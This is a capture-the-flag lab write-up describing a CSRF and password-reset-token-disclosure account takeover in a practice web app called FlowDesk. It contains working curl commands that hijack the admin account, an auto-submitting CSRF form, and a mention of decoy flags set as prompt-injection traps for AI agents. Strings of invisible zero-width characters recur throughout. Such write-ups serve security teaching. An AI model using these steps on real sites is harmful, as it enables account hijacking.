← Back to Writeups
CUSTOMEasyWeb

Lab 153 — FlowDesk — CSRF Account Takeover via Email Change

XESXOR9/2/20264 min read
#web#custom#easy#admin_account_takeover#csrf_on_email_change_endpoint#decoy_flag_evasion#form_urlencoded_csrf#password_reset_token_disclosur#samesite_lax_top_level_navigat

Lab 153 — FlowDesk — CSRF Account Takeover via Email Change

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: admin_account_takeover, csrf_on_email_change_endpoint, decoy_flag_evasion, form_urlencoded_csrf, password_reset_token_disclosure, samesite_lax_top_level_navigation

Summary

Walkthrough of the CUSTOM Web Lab 153 — FlowDesk — CSRF Account Takeover via Email Change. Task: Express.js workspace platform where email change endpoint lacks CSRF protection while name/password endpoints are protected. Solution: exploited password reset token disclosure to take over admi

Description

FlowDesk is a team workspace management platform built by FlowPoint Labs. It provides dashboards for team collaboration, project tracking, and organizational management. The platform includes user account management with profile settings, team administration, notification inbox, and a privileged admin panel for system configuration. Explore the application's account management features and how user interactions work. Pay close attention to how different settings endpoints handle request validation — not all of them may be equally protected. Your goal is to find a vulnerability that could be used to compromise a privileged account and access restricted administrative functions. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Express.js team workspace app with user settings, admin panel, and an admin bot that visits reported URLs. The email change endpoint lacks CSRF protection, enabling account takeover via the admin bot. Additionally, the password reset endpoint leaks tokens directly in the response HTML.

Analysis

Application Stack

  • Backend: Express.js behind nginx/1.25.5
  • Session: connect.sid cookie with HttpOnly; Secure; SameSite=Lax
  • Key pages: /dashboard, /settings/profile, /settings/security, /team, /notifications, /support/report, /admin/settings (403 for non-admin)
  • Admin user: Sarah Chen, email admin@flowdesk.local (visible on /team page)
  • Admin bot: /support/report accepts a URL — "An administrator will visit the page to review the issue"
  • Decoy flags: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs on every page — prompt injection traps for AI agents ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability 1: Missing CSRF on Email Change

The settings page at /settings/profile has multiple forms with inconsistent CSRF protection:

EndpointCSRF TokenStatus
POST /api/settings/name✅ _csrf hidden fieldProtected
POST /api/settings/email❌ No tokenVULNERABLE
POST /api/settings/password✅ _csrf hidden fieldProtected

The email form's client-side JavaScript sends application/x-www-form-urlencoded via fetch without any CSRF token: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

javascript
document.getElementById('email-form').addEventListener('submit', async function(e) {
  e.preventDefault();
  const form = e.target;
  const data = new URLSearchParams(new FormData(form));
  try {
    const res = await fetch('/api/settings/email', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: data
    });
    const json = await res.json();
    // ...
  } catch (err) { /* ... */ }
});

Confirmed the endpoint works without CSRF:

bash
curl -s -b "$COOKIE" -X POST "$TARGET/api/settings/email" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=test@test.com"
# → {"success":true,"message":"Email address updated successfully"}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability 2: Password Reset Token Disclosure

The /auth/forgot-password endpoint leaks the reset token directly in the HTML response:

bash
curl -s -X POST "$TARGET/auth/forgot-password" -d "email=admin@flowdesk.local"

Response includes:

html
<p class="text-xs text-slate-500 mt-2">Since email delivery is not configured
in this environment, here is the reset link:</p>
<a href="/auth/reset-password?token=e14dcefc0f1de4063a2849d9e582db5430811bbbf85526f0186968fa3628a30f">...</a>

Solution

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Shortcut Path: Direct Token Disclosure

The password reset token disclosure made the full CSRF chain unnecessary:

Step 1: Find admin email from /team page

Admin user: Sarah Chen — admin@flowdesk.local

Step 2: Request password reset and extract leaked token

bash
TOKEN=$(curl -s -X POST "$TARGET/auth/forgot-password" \
  -d "email=admin@flowdesk.local" | \
  grep -oP 'token=\K[a-f0-9]+')
echo "Token: $TOKEN"

Step 3: Reset admin password

bash
curl -s -X POST "$TARGET/auth/reset-password" \
  -d "token=$TOKEN&password=hacked123&confirm_password=hacked123"
# → "Your password has been reset successfully"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Login as admin

bash
curl -s -c admin_cookies.txt -X POST "$TARGET/auth/login" \
  -d "email=admin@flowdesk.local&password=hacked123"
# → 302 redirect to /dashboard

Step 5: Access admin panel

bash
curl -s -b admin_cookies.txt "$TARGET/admin/settings"
# → Contains FLAG{REDACTED} in secret_key field

Intended Path: CSRF via Admin Bot

The challenge title indicates the intended solution uses CSRF through the admin bot:

  1. Change own email from alex@flowdesk.local to something else (free up a target email)
  2. Create CSRF payload that auto-submits a form to change the admin's email: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
html
<html>
<body>
<form id="csrf" method="POST"
  action="https://TARGET/api/settings/email"
  enctype="application/x-www-form-urlencoded">
<input type="hidden" name="email" value="pwned@evil.com" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
  1. Upload to Interaction Server at http://interact/UUID/csrf.html
  2. Submit URL via /support/report → admin bot visits → admin's email changes to pwned@evil.com
  3. Request forgot-password for pwned@evil.com → get reset token → reset password → login as admin ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The CSRF works because:

  • SameSite=Lax cookies are sent on top-level form POST navigations (the form submit navigates the entire page)
  • application/x-www-form-urlencoded is a CORS "simple" Content-Type — no preflight required
  • No CSRF token on the email change endpoint ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering admin_account_takeover, csrf_on_email_change_endpoint, decoy_flag_evasion, form_urlencoded_csrf, password_reset_token_disclosure, samesite_lax_top_level_navigation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-22 • CUSTOM • Lab 153 — FlowDesk — CSRF Account Takeover via Email Change • Difficulty: Easy